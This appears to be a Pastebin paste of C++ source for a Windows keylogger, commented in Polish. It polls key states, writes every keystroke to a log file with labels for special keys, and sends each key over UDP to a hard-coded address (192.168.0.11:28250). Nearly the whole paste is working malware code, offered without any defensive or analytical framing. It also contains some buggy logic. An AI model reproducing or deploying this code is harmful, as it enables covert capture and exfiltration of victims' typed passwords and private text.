Advertisement
Guest User

Untitled

a guest
Sep 1st, 2015
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. #include <winsock2.h>//ważne musi być zainkludowane przed widnows.h!!
  2. #include <iostream>
  3. #include <fstream>
  4. #include <windows.h>
  5. #include <Winuser.h>
  6. #include <stdio.h>
  7. #include <time.h>
  8. #pragma comment(lib, "Ws2_32.lib")
  9. using namespace std;
  10.  
  11.  
  12.  
  13. int liss(int, char *file);
  14.  
  15. void main()
  16.  
  17. {
  18.  
  19. WSADATA wsaData;
  20.  
  21. SOCKET SendSocket;
  22.  
  23. sockaddr_in RecvAddr;
  24.  
  25. int Port = 28250;//port
  26.  
  27. char SendBuf[1];//wiadomosc
  28.  
  29. int BufLen = 1;//dlugosc wiadomosci
  30.  
  31. char* IP_ADDRESS_S = "192.168.0.11";
  32.  
  33. WSAStartup(MAKEWORD(2, 2), &wsaData);
  34.  
  35. SendSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  36.  
  37. RecvAddr.sin_family = AF_INET;
  38.  
  39. RecvAddr.sin_port = htons(Port);
  40.  
  41. RecvAddr.sin_addr.s_addr = inet_addr(IP_ADDRESS_S);
  42. //nasluch oraz zapis do logow
  43.  
  44.  
  45. char i;
  46. while (1){
  47.  
  48. for (i = 8; i <= 190; i++)
  49. {
  50.  
  51. if (GetAsyncKeyState(i) == -32767)
  52. {
  53. liss(i, "LOG.TXT");
  54. WSACleanup();
  55. memset(SendBuf,i,1);
  56. sendto(SendSocket, SendBuf, BufLen, 0, (SOCKADDR *)&RecvAddr, sizeof(RecvAddr));
  57. cout << SendBuf;
  58.  
  59. }
  60.  
  61. }
  62. }
  63.  
  64. cout << "Wysyłanie wiadomosc";
  65.  
  66. cout << "wiadomosc wyslana.";
  67.  
  68. closesocket(SendSocket);
  69.  
  70. cout << "zamknieto socket.";
  71.  
  72. WSACleanup();
  73.  
  74. }
  75.  
  76.  
  77.  
  78. int liss(int key_stroke, char *file){
  79.  
  80. FILE *OUTPUT_FILE;
  81. OUTPUT_FILE = fopen(file, "a+");//otwier plik do logów
  82.  
  83. if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");
  84. else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
  85. else if (key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
  86. else if (key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
  87. else if (key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
  88. else if (key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
  89. else if (key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
  90. else if (key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
  91. else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
  92. else if (key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
  93. else if (key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
  94. else if (key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
  95. else if (key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
  96. else if (key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
  97. else if (key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");
  98.  
  99.  
  100. else fprintf(OUTPUT_FILE, "%s", &key_stroke); // jesli nie spelnilo zadnego warunku na gorze to wpisuje litere
  101.  
  102. fclose(OUTPUT_FILE);
  103. //cout << key_stroke << endl;
  104.  
  105. return 0;
  106. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement